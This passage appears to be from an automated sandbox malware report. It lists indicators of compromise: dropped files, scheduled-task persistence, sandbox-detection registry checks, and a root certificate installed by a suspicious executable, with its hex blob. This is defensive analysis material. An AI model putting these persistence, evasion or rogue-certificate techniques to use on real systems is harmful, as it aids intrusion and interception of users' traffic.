File created	C:\Program Files\Oracle\VirtualBox\nls\qt_ru.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\UnattendedTemplates\redhat_postinstall.sh	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxNetNAT.exe	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_it.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_ja.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\qt_en.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_id.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\nls\VirtualBox_pt_BR.qm	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\Qt5WidgetsVBox.dll	msiexec.exe
File created	C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso	msiexec.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explorgu.job	amert.exe
File created	C:\Windows\Installer\e5942fb.msi	msiexec.exe
File created	C:\Windows\Installer\{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}\IconVirtualBox	msiexec.exe
File created	C:\Windows\Tasks\explorha.job	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4AAB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B1A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI62AD.tmp	msiexec.exe
File created	C:\Windows\Tasks\bdnnguwcOLBYKAjbbA.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\bdnnguwcOLBYKAjbbA.job	schtasks.exe
File opened for modification	C:\Windows\Installer\e5942fb.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}	msiexec.exe
File opened for modification	C:\Windows\Installer\{B4A28DF2-D2C0-4956-A34A-4D77BA2932CC}\IconVirtualBox	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI626D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4E95.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5378.tmp	msiexec.exe
File created	C:\Windows\Installer\e5942ff.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
6516	6588	WerFault.exe	157
2952	6376	WerFault.exe	163
4436	448	WerFault.exe	193

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ucg.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ucg.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ucg.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ucg.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ucg.0.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
6480	schtasks.exe
5304	schtasks.exe
6988	schtasks.exe
5408	schtasks.exe
5360	schtasks.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\23	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\22\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	MsiExec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{245D88BD-800A-40F8-87A6-170D02249A55}\ProxyStubClsid32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{D37FE88F-0979-486C-BAA1-3ABB144DC82D}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E062A915-3CF5-4C0A-BC90-9B8D4CC94D89}\NumMethods\ = "17"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{50CE4B51-0FF7-46B7-A138-3C6E5AC946B4}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E7932CB8-F6D4-4AB6-9CBF-558EB8959A6A}\NumMethods\ = "14"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{08E25756-08A2-41AF-A05F-D7C661ABAEBE}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1D89E2B3-C6EA-45B6-9D43-DC6F70CC9F02}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{39B4E759-1EC0-4C0F-857F-FBE2A737A256}\NumMethods\ = "16"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1E775EA3-9070-4F9C-B0D5-53054496DBE0}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{93BADC0C-61D9-4940-A084-E6BB29AF3D83}\ = "IUSBControllerChangedEvent"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A06FD66A-3188-4C8C-8756-1395E8CB691C}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A06FD66A-3188-4C8C-8756-1395E8CB691C}\TypeLib\Version = "1.3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0075FD6C-00C2-4484-0077-C057003D9C90}\ = "IInternalMachineControl"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{714A3EEF-799A-4489-86CD-FE8E45B2FF8E}\NumMethods	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{85632C68-B5BB-4316-A900-5EB28D3413DF}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{88394258-7006-40D4-B339-472EE3801844}\ProxyStubClsid32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{B0A0904D-2F05-4D28-855F-488F96BAD2B2}\NumMethods	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{D0A0163F-E254-4E5B-A1F2-011CF991C38D}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{F692806F-FEBE-4049-B476-1292A8E45B09}\TypeLib	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{53FAC49A-B7F1-4A5A-A4EF-A11DD9C2A458}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{81314D14-FD1C-411A-95C5-E9BB1414E632}\NumMethods	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\progId_VirtualBox.Shell.vbox-extpack\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{081FC833-C6FA-430E-6020-6A505D086387}\NumMethods\ = "34"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{24EEF068-C380-4510-BC7C-19314A7352F1}\TypeLib\Version = "1.3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{431685DA-3618-4EBC-B038-833BA829B4B2}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{91F33D6F-E621-4F70-A77E-15F0E3C714D5}\NumMethods\ = "11"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{22363CFC-07DA-41EC-AC4A-3DD99DB35594}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{334DF94A-7556-4CBC-8C04-043096B02D82}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\progId_VirtualBox.Shell.vbox-extpack\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{91F33D6F-E621-4F70-A77E-15F0E3C714D5}\TypeLib\Version = "1.3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DD3E2654-A161-41F1-B583-4892F4A9D5D5}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}\VersionIndependentProgID	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{20479EAF-D8ED-44CF-85AC-C83A26C95A4D}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C8ADB7B0-057D-4391-B928-F14B06B710C5}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{08889892-1EC6-4883-801D-77F56CFD0103}\TypeLib\Version = "1.3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{20479EAF-D8ED-44CF-85AC-C83A26C95A4D}\ = "IToken"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{806DA61B-6679-422A-B629-51B06B0C6D93}\ProxyStubClsid32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{9DB3A9E6-7F29-4AAE-A627-5A282C83092C}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B31C4052-7BDC-11E9-8BC2-8FFDB8B19219}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{C19073DD-CC7B-431B-98B2-951FDA8EAB89}\ProxyStubClsid32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{E4B301A9-5F86-4D65-AD1B-87CA284FB1C8}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00391758-00B1-4E9D-0000-11FA00F9D583}\NumMethods\ = "13"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{01510F40-C196-4D26-B8DB-4C8C389F1F82}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{8D095CB0-0126-43E0-B05D-326E74ABB356}\NumMethods	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{5587D0F6-A227-4F23-8278-2F675EEA1BB2}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{6BB335CC-1C58-440C-BB7B-3A1397284C7B}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2514881B-23D0-430A-A7FF-7ED7F05534BC}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{35CF4B3F-4453-4F3E-C9B8-5686939C80B6}\NumMethods	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{FB220201-2FD3-47E2-A5DC-2C2431D833CC}\TypeLib	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{16CED992-5FDC-4ABA-AFF5-6A39BBD7C38B}\ = "IHost"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{CB6F0F2C-8384-11E9-921D-8B984E28A686}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{5155BFD3-7BA7-45A8-B26D-C91AE3754E37}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{DFA7E4F5-B4A4-44CE-85A8-127AC5EB59DC}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{89A63ACE-0C65-11EA-AD23-0FF257C71A7F}\NumMethods	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B0A0904D-2F05-4D28-855F-488F96BAD2B2}\ = "IShowWindowEvent"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{B5DDB370-08A7-4C8F-910D-47AABD67253A}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{101AE042-1A29-4A19-92CF-02285773F3B5}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{245D88BD-800A-40F8-87A6-170D02249A55}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{883DD18B-0721-4CDE-867C-1A82ABAF914C}\NumMethods	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{89A63ACE-0C65-11EA-AD23-0FF257C71A7F}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F692806F-FEBE-4049-B476-1292A8E45B09}\ProxyStubClsid32\ = "{0BB3B78C-1807-4249-5BA5-EA42D66AF0BF}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{01510F40-C196-4D26-B8DB-4C8C389F1F82}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9E106366-4521-44CC-DF95-186E4D057C83}\TypeLib\ = "{D7569351-1750-46F0-936E-BD127D5BC264}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{97C78FCD-D4FC-485F-8613-5AF88BFCFCDC}	msiexec.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	propro.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	oFkmUtcix5wIgdiTI9OyBufP.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	oFkmUtcix5wIgdiTI9OyBufP.exe
